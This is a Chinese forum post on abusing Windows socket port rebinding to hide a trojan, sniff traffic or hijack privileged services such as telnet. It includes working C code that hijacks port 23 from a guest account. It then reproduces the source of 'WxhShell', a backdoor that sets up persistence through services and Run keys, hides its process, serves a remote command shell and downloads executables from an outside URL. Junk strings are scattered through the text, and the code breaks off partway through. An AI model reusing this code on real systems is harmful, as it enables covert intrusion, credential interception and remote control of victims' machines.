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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BvD5SBa}"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #A7jyg":  
C? 4JXW  
  saddr.sin_family = AF_INET; d[D&J  
MJ`3ta  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kc `V4b%  
D*PYr{z'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O81X ;JdP3  
.7NNT18  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o Y}]UB>  
!7bw5H  
  这意味着什么?意味着可以进行如下的攻击: FQz?3w&ia  
zSEs?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bx4'en#  
H*^\h?s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H( jXI  
[, RI-#n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3REx45M2  
I<td1Y1q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y&m0Lz53Z  
# ]?bLm<!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I04jjr:<  
cF)/^5Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #oeG!<Mn  
{66sB{P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a]Eg!Q  
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  #include h%; e0Xz|  
  #include X?:o;wB  
  #include rl#vE's6.e  
  #include    / $  :j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "@A![iP  
  int main() 0MMEo~dih  
  { J7D}%  
  WORD wVersionRequested; f3j{VN  
  DWORD ret; GQQ.OvEc  
  WSADATA wsaData; [H<bh%  
  BOOL val; O,bkQY$v  
  SOCKADDR_IN saddr; .nu @ o40  
  SOCKADDR_IN scaddr; M->*{D@a  
  int err; VV4Gjc  
  SOCKET s; 9E2j!  
  SOCKET sc; acP+3u?r  
  int caddsize; Rlnbdb;!k  
  HANDLE mt; :A %^^F%  
  DWORD tid;   5!YA o\S  
  wVersionRequested = MAKEWORD( 2, 2 ); %CwL:.|  
  err = WSAStartup( wVersionRequested, &wsaData ); n% 'tKU\q  
  if ( err != 0 ) { Pi,QHb`>  
  printf("error!WSAStartup failed!\n"); A1)wo^,  
  return -1; -oeL{9;  
  } tM-^<V&  
  saddr.sin_family = AF_INET; VErv;GyV  
   XqRJr%JH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G+xt5n.%  
&8&d3EQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .:p2Tbo  
  saddr.sin_port = htons(23); /+*#pDx/zW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z=B_Ty  
  { FGO[ |]7IN  
  printf("error!socket failed!\n"); b`yZ|j'ikd  
  return -1; SK1!thQy  
  } b*a2,MiM  
  val = TRUE; |Fm6#1A@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~R$~&x(b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4n#ov=)-~  
  { iv`O /T  
  printf("error!setsockopt failed!\n"); >3 yk#U|7}  
  return -1;  [,n c  
  } 09A X-JP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F' U 50usV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |@,|F:h<M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b2 _Yu^  
Sxdsv9w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p4IZ   
  { QB.J,o*XD4  
  ret=GetLastError(); CQel3Jtt.  
  printf("error!bind failed!\n"); MMB@.W  
  return -1; mk7&<M  
  } 0;S,tJg  
  listen(s,2); /@AEJ][$  
  while(1) 1Je9,dd6  
  { -jgysBw+Xb  
  caddsize = sizeof(scaddr); #&v/icz$  
  //接受连接请求 M(#m0x B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u2oKH{/z  
  if(sc!=INVALID_SOCKET) ikWtC]y  
  { :m86 hBE.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D=:04V}2+  
  if(mt==NULL) yC 77c=  
  { UnVm1ZWZ  
  printf("Thread Creat Failed!\n"); .@ xF6UZ  
  break; +("7ZK?  
  } 4Mk-2 Dx  
  } zR!o{8  
  CloseHandle(mt); gtUUsQ%y.  
  } KH\b_>wU2  
  closesocket(s); &//wSlL3  
  WSACleanup(); nJPyM/p  
  return 0; {t};-q!v$j  
  }   cvwhSdZu8  
  DWORD WINAPI ClientThread(LPVOID lpParam) ThPE 0V  
  { >!_Xgw  
  SOCKET ss = (SOCKET)lpParam; ]9}HEu;1M  
  SOCKET sc; tm7u^9]  
  unsigned char buf[4096]; NmMIQ@K  
  SOCKADDR_IN saddr; 8|E'>+ D_-  
  long num; JS}{%(B  
  DWORD val; XLMb=T~S  
  DWORD ret; *'Z B*>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >~`C-K#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f+rz|(6vs{  
  saddr.sin_family = AF_INET; 4f(Kt,0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V\(:@0"  
  saddr.sin_port = htons(23); V]*b4nX7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u?s VcD[  
  { 8M@BG8  
  printf("error!socket failed!\n"); 0%!rx{f#\  
  return -1; RwS@I /  
  } T~h5B(J;  
  val = 100; JCAq8=zM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <~ JO s2  
  { 6<K6Y5<6  
  ret = GetLastError(); WyP W*  
  return -1; eY{+~|KZ  
  } ~=R SKyzt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q80S[au  
  { ]*7Y~dO  
  ret = GetLastError(); -W,}rcj*|  
  return -1; 9&RFO$WH  
  } 5NJ4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *T0q|P~o%  
  { /?'; nGq  
  printf("error!socket connect failed!\n"); 'zh7_%  
  closesocket(sc); ]kG(G%r|M  
  closesocket(ss); gm9mg*aM  
  return -1; yV)la@c  
  } i-yy/y-N  
  while(1) t>8XTqqi  
  { h*u`X>!!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iAa;6mH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fwzb!"!.@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V.wqZ {G  
  num = recv(ss,buf,4096,0); 64:fs?H  
  if(num>0) mo~*C   
  send(sc,buf,num,0);  +H$!a  
  else if(num==0) p&VU0[LIC0  
  break; :!zl^J;  
  num = recv(sc,buf,4096,0); 5q "ON)x  
  if(num>0) DWdW,xG  
  send(ss,buf,num,0); _)]CzBRq\6  
  else if(num==0) C"IKt  
  break; ja=F7Usb  
  } 1~ $);US  
  closesocket(ss); lsN~*q?~]  
  closesocket(sc); @29U@T  
  return 0 ; o:V|:*1Q  
  } r,_?F7  
h$L"8#  
q&:=<+2"  
========================================================== " vtCTl~t  
.$@R{>%U  
下边附上一个代码,,WXhSHELL 86 W0rS[5  
IHRGw  
========================================================== kA7mLrON  
%kgkXc~6|x  
#include "stdafx.h" J*9$;  
.5  
#include <stdio.h> h<~7"ONhV  
#include <string.h> soCi[j$lH  
#include <windows.h> wj[$9UJb  
#include <winsock2.h> "kZ[N'z (  
#include <winsvc.h> q\H[am  
#include <urlmon.h> iX3HtIBj'  
k%^lF?_0I  
#pragma comment (lib, "Ws2_32.lib") tDAhyy73  
#pragma comment (lib, "urlmon.lib") 3j3N!T9  
Fv<`AU  
#define MAX_USER   100 // 最大客户端连接数 vzmc}y G  
#define BUF_SOCK   200 // sock buffer x`6<m!d`  
#define KEY_BUFF   255 // 输入 buffer -\#0]F:-  
r_;9' #&'  
#define REBOOT     0   // 重启 }<'5 z qS  
#define SHUTDOWN   1   // 关机 F5o+kz$;  
TwgrRtj'  
#define DEF_PORT   5000 // 监听端口 } (!EuLL  
}%D^8>S  
#define REG_LEN     16   // 注册表键长度 &IlU|4`R%  
#define SVC_LEN     80   // NT服务名长度 `Qeg   
=N 5z@;!  
// 从dll定义API 1!>Jpi0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2h%z ("3/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @O[5M2|r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YtO|D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H*9~yT' Q  
r [ K5w  
// wxhshell配置信息 "*})3['n  
struct WSCFG { |hr]>P1  
  int ws_port;         // 监听端口 (e"iO`H  
  char ws_passstr[REG_LEN]; // 口令 ^n+!4(@=  
  int ws_autoins;       // 安装标记, 1=yes 0=no [k-+AA>:  
  char ws_regname[REG_LEN]; // 注册表键名 >$2V%};  
  char ws_svcname[REG_LEN]; // 服务名 "le>_Ze_>|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1IVuSp`{FU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tY <Z'xA?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VcoOeAKL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <jed!x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dXnl'pFS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gm\/Y:U  
H8"@iE,  
}; v%ioj0,  
D1 &A,2wO  
// default Wxhshell configuration f^VP/rdg  
struct WSCFG wscfg={DEF_PORT, KgR<E  
    "xuhuanlingzhe", 85GKymz$P  
    1, MQ"xOcD*F  
    "Wxhshell", r7',3V  
    "Wxhshell", p ]d] QMu  
            "WxhShell Service", ~9j%Hm0ht  
    "Wrsky Windows CmdShell Service", -I=l8m6L  
    "Please Input Your Password: ", !>1@HH?I\/  
  1, <qGu7y"  
  "http://www.wrsky.com/wxhshell.exe", y{N-+10z  
  "Wxhshell.exe" q&d~ \{J  
    }; |7zd%!  
nMJ#<'v^!2  
// 消息定义模块 HbW0wuI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QcpXn4/*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l<);s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A,4fEmWM  
char *msg_ws_ext="\n\rExit."; p}cw{  
char *msg_ws_end="\n\rQuit."; y '!m4-  
char *msg_ws_boot="\n\rReboot..."; .?l\g-;=  
char *msg_ws_poff="\n\rShutdown..."; 8Ac:_Zg  
char *msg_ws_down="\n\rSave to "; sM9+dh  
{D=@n4JO  
char *msg_ws_err="\n\rErr!"; f;b[w   
char *msg_ws_ok="\n\rOK!"; AnT3M.>ek  
p|]\P%,\  
char ExeFile[MAX_PATH]; tPF.r  
int nUser = 0; J_;o|gqX  
HANDLE handles[MAX_USER]; ? YG)I;(  
int OsIsNt; |iwP:C^\mJ  
_]:z \TDn  
SERVICE_STATUS       serviceStatus; LGtIm7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V5rS T +  
Sy 'Dp9!|  
// 函数声明 o>VVsH  
int Install(void); ye MB0Z*r  
int Uninstall(void); ZMq6/G*fD  
int DownloadFile(char *sURL, SOCKET wsh); Gh}*q|Lz  
int Boot(int flag); ukUGvK  
void HideProc(void); mWvl 38  
int GetOsVer(void); Q 7?#=N?  
int Wxhshell(SOCKET wsl); #{\%rWnCm  
void TalkWithClient(void *cs); JeE ;V![  
int CmdShell(SOCKET sock); 6AhM=C  
int StartFromService(void);  E@b(1@  
int StartWxhshell(LPSTR lpCmdLine); ctGL-kp  
GN2Sn` ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yNbjoFM.i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pfI"36]F  
Nal9M[]c  
// 数据结构和表定义 jB(|";G  
SERVICE_TABLE_ENTRY DispatchTable[] = 9B9(8PVG  
{ 5^x1cUB]  
{wscfg.ws_svcname, NTServiceMain}, y_?Me]  
{NULL, NULL} j?+X\PtQ  
}; -jiG7OL  
OtNd,U.dE  
// 自我安装 2=^m9%  
int Install(void) .qZI$ l .  
{ f=9|b  
  char svExeFile[MAX_PATH]; j{Q9{}<e  
  HKEY key; r% +V8o  
  strcpy(svExeFile,ExeFile); hr)B[<9  
aYSCw 3C<  
// 如果是win9x系统,修改注册表设为自启动 w Y_)y  
if(!OsIsNt) { _/tHD]um  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u`RI;KF~F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tw9f%p  
  RegCloseKey(key); 2_Z ? #Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bXNk%W[n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qO|R^De  
  RegCloseKey(key); ?snp8W-WB  
  return 0; Zo~  
    } m+T;O/lG0{  
  } V6,H}k   
} ys kO  
else { ,]d /Q<  
?BZPwGMs  
// 如果是NT以上系统,安装为系统服务 Jh!I:;/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @pRlxkvV  
if (schSCManager!=0) }xh$T'M8  
{ }*S `qW;B  
  SC_HANDLE schService = CreateService Yz +ZY  
  ( %#xaA'? [  
  schSCManager, 1^}[&ar  
  wscfg.ws_svcname, <"my^  
  wscfg.ws_svcdisp, {C N~S*m  
  SERVICE_ALL_ACCESS, N@Uy=?)ZJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LAS'u "c|  
  SERVICE_AUTO_START, 2so!  
  SERVICE_ERROR_NORMAL, 9^#c| 0T  
  svExeFile, 7%|~>  
  NULL, Eu@huN*/  
  NULL, Oagsoik  
  NULL, %_%Q 8,W  
  NULL, #W.#Hjpp  
  NULL hRD=Y<>A  
  ); U!*M*s  
  if (schService!=0) _)>_{Pm  
  { U"^kH|  
  CloseServiceHandle(schService); ,N]H dR  
  CloseServiceHandle(schSCManager); IS&ZqE(`e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NUWDc]@J*  
  strcat(svExeFile,wscfg.ws_svcname); =k^Y?.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NRIG1v>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UMm!B`M  
  RegCloseKey(key); biU^[g("  
  return 0; r\-uJ~8N  
    } b((M)Gz  
  } Gsq00j &<Z  
  CloseServiceHandle(schSCManager); 2Ay* kmW  
} tnN.:%mZ  
} >\P@^ h]  
wc}5m Hs  
return 1; \kMefU  
} !W}9no  
zkuU5O  
// 自我卸载 eo?;`7  
int Uninstall(void) deV  8  
{ 'm FqE n  
  HKEY key; Z8@J`0x  
xRzFlay8  
if(!OsIsNt) { c]n1':FT"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7'W%blg!V  
  RegDeleteValue(key,wscfg.ws_regname); QLvHQtzwX  
  RegCloseKey(key); J$GUB3 G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1VG4S){}\9  
  RegDeleteValue(key,wscfg.ws_regname); 2db3I:;E  
  RegCloseKey(key); ZQ%'`q\c  
  return 0; U4C 9<h&  
  } 2a`o &S  
} L\xk:j1[  
} kwo3`b  
else { KyYMfC  
#FCnA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ybs\ES'?A  
if (schSCManager!=0) %7IugHH9y  
{ p93r'&Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t\k$};qJ  
  if (schService!=0)  #~2%)  
  { 7byK{{/z  
  if(DeleteService(schService)!=0) { 8hOk{xs8  
  CloseServiceHandle(schService); t(NI-UXBp  
  CloseServiceHandle(schSCManager); g(qJN<R C/  
  return 0; *rs5]U<  
  } c1k/UcEcg~  
  CloseServiceHandle(schService); M3c$=>  
  } "/3'XOK|  
  CloseServiceHandle(schSCManager); @s ?  
} l1OE!W W  
} P2BWuh F  
+./H6!  
return 1; e,vvzs o  
} *`ua'"="k  
&_dt>.  
// 从指定url下载文件 {JZZZY!n2  
int DownloadFile(char *sURL, SOCKET wsh) Tc>   
{ 6}[I2F_^  
  HRESULT hr; :cem,#(=  
char seps[]= "/"; cu7hBf j  
char *token; AN8`7F1  
char *file; |:nOp(A\*  
char myURL[MAX_PATH]; m? J0i>H  
char myFILE[MAX_PATH]; V@e?#iz  
LrM=*R h,O  
strcpy(myURL,sURL); DCIxRPw  
  token=strtok(myURL,seps); (C-{B[Y  
  while(token!=NULL) jnKWZ/R  
  { y&q*maa[  
    file=token; Fq~yL!#!  
  token=strtok(NULL,seps); ,Ys %:>?  
  } ZRh~`yy  
5[k/s}g  
GetCurrentDirectory(MAX_PATH,myFILE); 3G,Oba[$<  
strcat(myFILE, "\\"); [YF>:ydk  
strcat(myFILE, file); nBjqTud  
  send(wsh,myFILE,strlen(myFILE),0); [R(`W#W  
send(wsh,"...",3,0); Y!~49<;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $+8cc\fq  
  if(hr==S_OK) Pk{_(ybaY  
return 0; =9y[1t  
else ?26I,:;  
return 1; p4.wh|n  
Se :.4<  
} 2,$8icM  
$2oTkOA   
// 系统电源模块 "bFTk/  
int Boot(int flag) &gVN&  
{ r?+%?$  
  HANDLE hToken; H*RC@O_hv  
  TOKEN_PRIVILEGES tkp; 0%9 q8 M;  
zT =Ho   
  if(OsIsNt) { j"ThEx0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lGPUIoUo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bn=by{i  
    tkp.PrivilegeCount = 1; f2Klt6"9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mXRB7k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }iXDa?6%  
if(flag==REBOOT) { \\r)Ue]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B8.Pn  
  return 0; ] bM)t<  
} 6}gls}[0{e  
else { 1L%CJ+Q#0i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8 ##-EN;ag  
  return 0; #a/5SZP Z\  
}  8{wwd:6  
  } 9oRy)_5Z(=  
  else { /[a~3^Gs^  
if(flag==REBOOT) { q.KG^=10  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -[ *,^Ti`  
  return 0; A>vBQN  
} m'Amli@[  
else { ''q@>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O,+1<.;+  
  return 0; $? m9")  
} rXmn7;B}g  
} *]ly0nP  
y?[ v=j*U  
return 1; Pu7_ v  
} r@72|:,  
35Ij ..z0  
// win9x进程隐藏模块 54gBJEhg  
void HideProc(void) 1Ce@*XBU  
{ yQ_B)b  
r54&XE]O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !POl;%\  
  if ( hKernel != NULL ) Buf/@B7+\  
  { Hbj,[$Jb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #X%~B'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }6p@lla,%]  
    FreeLibrary(hKernel); PXK7b2fE.  
  } 6_J$UBT  
Lz`E;k^  
return; \s/s7y6b+  
} %}SGl${-  
0ZT5bg_M  
// 获取操作系统版本 MuYk};f  
int GetOsVer(void) ;+e}aER&9  
{ O!m vJD  
  OSVERSIONINFO winfo; c&r70L,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `_BNy=`s*  
  GetVersionEx(&winfo); (n*^4@"2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8UW^"4  
  return 1; 3)F |*F3R  
  else HKU~UTRnZ  
  return 0; nim*/LC[:  
} 3p3 9`"~  
@KWb+?_H{<  
// 客户端句柄模块 H35S#+KX  
int Wxhshell(SOCKET wsl)  J}htu  
{ 3/aMJR:o  
  SOCKET wsh; x*![fK  
  struct sockaddr_in client;  ~3Lg"I  
  DWORD myID; i'a?kSy  
.\[`B.Q  
  while(nUser<MAX_USER) xAqb\|$^  
{ YNLV9.P6  
  int nSize=sizeof(client); un)4eo!7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NE"@Bk cm  
  if(wsh==INVALID_SOCKET) return 1; I3=%h  
ge,H-8'Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kY&k-K\  
if(handles[nUser]==0) 'z0:Ccbj  
  closesocket(wsh); sR(9IW-  
else 1 9&<|qTz  
  nUser++; j.C`U(n}`  
  } oo,uO;0G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uo-)pFN^  
7R`M,u~f2^  
  return 0; ql<i]Y  
} cWEE%  
a;rdQ>  
// 关闭 socket Te.Y#lCT$  
void CloseIt(SOCKET wsh) >7wOoK|1'  
{ |2?'9<  
closesocket(wsh); QP@%(]fG  
nUser--; %dRo^E1p  
ExitThread(0); 5\N(PL  
} ~;QvWS  
z8jk[5z  
// 客户端请求句柄 `{eyvW[Ks  
void TalkWithClient(void *cs) J{l1nHQZSu  
{ )hd@S9Z.Y  
VCu{&Sh*  
  SOCKET wsh=(SOCKET)cs; e&simX;W  
  char pwd[SVC_LEN]; *v;!-F&8>  
  char cmd[KEY_BUFF]; c]$i\i#  
char chr[1]; qHsUP;7  
int i,j; k >F'ypm  
, `wXg  
  while (nUser < MAX_USER) { us ;YV<)d  
y)F;zW<+  
if(wscfg.ws_passstr) { _wC3kAO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Eg(Gu.J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (hTCK8HK  
  //ZeroMemory(pwd,KEY_BUFF); x4g3 rmp  
      i=0; NS9B[*"Jl  
  while(i<SVC_LEN) { wHsYF`  
<:(6EKJAq}  
  // 设置超时 dA-2%uJ  
  fd_set FdRead; nIAx2dh?  
  struct timeval TimeOut; 8yRJD[/S  
  FD_ZERO(&FdRead); r>dwDBE  
  FD_SET(wsh,&FdRead); _9faBrzd  
  TimeOut.tv_sec=8; fXXr+Mor  
  TimeOut.tv_usec=0; * "R|4"uy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2Gz}T _e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sC27FVwo  
;>5 06jZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XOxr?NPQ^  
  pwd=chr[0]; vbkI^+=,YY  
  if(chr[0]==0xd || chr[0]==0xa) { T:t]"d}}  
  pwd=0; 4FEk5D  
  break; ?f#y1m  
  } n?A6u\sQ  
  i++; F|F]970  
    } $i&e[O7T;  
L=c!:p|7)  
  // 如果是非法用户,关闭 socket 4A@NxihH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3j,Q`+l/6d  
} #OBJzf*p  
6S\C}U/   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >C7r:%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xgABpikC^  
rE i Ki  
while(1) { ~oI1 zNz/  
~;Ov-^tp  
  ZeroMemory(cmd,KEY_BUFF); 3Th'paMG  
09dK0H3(  
      // 自动支持客户端 telnet标准   m/v9!'cMI  
  j=0; /4tj3B,  
  while(j<KEY_BUFF) { gfX\CSGy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;E@G`=0St  
  cmd[j]=chr[0]; SLO%7%>p  
  if(chr[0]==0xa || chr[0]==0xd) { ;+0t;B!V  
  cmd[j]=0; lFa02p0  
  break; `%CtWJ(e  
  } F4It/  
  j++; 4?0vso*X<:  
    } ">~.$Jp_4  
7Ok;Lt!x  
  // 下载文件 2}YOcnB  
  if(strstr(cmd,"http://")) { aJYgzr,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z)'Mk[  
  if(DownloadFile(cmd,wsh)) n_$ :7J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); el2bd :  
  else xG}(5Tt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A{UULVp  
  } y(Y!?X I  
  else { {88)~  
eyefWn&  
    switch(cmd[0]) { NZ ;{t\  
  fYp'&Btb]x  
  // 帮助 D|@/yDQ  
  case '?': { JmPHAUd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /3A^I{e74  
    break; HkQ*y$$  
  } W`K7 QWV4  
  // 安装 &Ts-a$Z7?S  
  case 'i': { O_$m!5ug  
    if(Install()) zV:pQRbt.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >"gf3rioW  
    else W4[V}s5u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -cZDG t  
    break; :80Z6F.k`  
    } ZaeqOVp/j  
  // 卸载 *_R]*o!W'  
  case 'r': { [E+$?a=  
    if(Uninstall()) O?U'!o=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XID<(HBA"!  
    else |3F02  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A6GE,FhsG  
    break; cU ? 0(z7  
    } M(jgd  
  // 显示 wxhshell 所在路径 GN-mrQo  
  case 'p': { fNb`X  
    char svExeFile[MAX_PATH]; i7ISX>%  
    strcpy(svExeFile,"\n\r"); K3m]%m2\  
      strcat(svExeFile,ExeFile); vN|l\!~  
        send(wsh,svExeFile,strlen(svExeFile),0); {S,l_d+(  
    break; qP{/[uj[K  
    } 7nHF@Y|*"  
  // 重启 .%.9n\b  
  case 'b': { ,stN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +6UVn\9Q  
    if(Boot(REBOOT)) Atflf2K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S>.SSXlM  
    else { Q@ 2i~Qo[  
    closesocket(wsh); $Z|ffc1  
    ExitThread(0); F_Y7@Ei/  
    } f` :i.Sr  
    break; /J04^ 6  
    } 1"/He ` 4  
  // 关机  yyv8gH  
  case 'd': { I *x[:)X8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jj,U RD&0R  
    if(Boot(SHUTDOWN)) G"X8}:}  
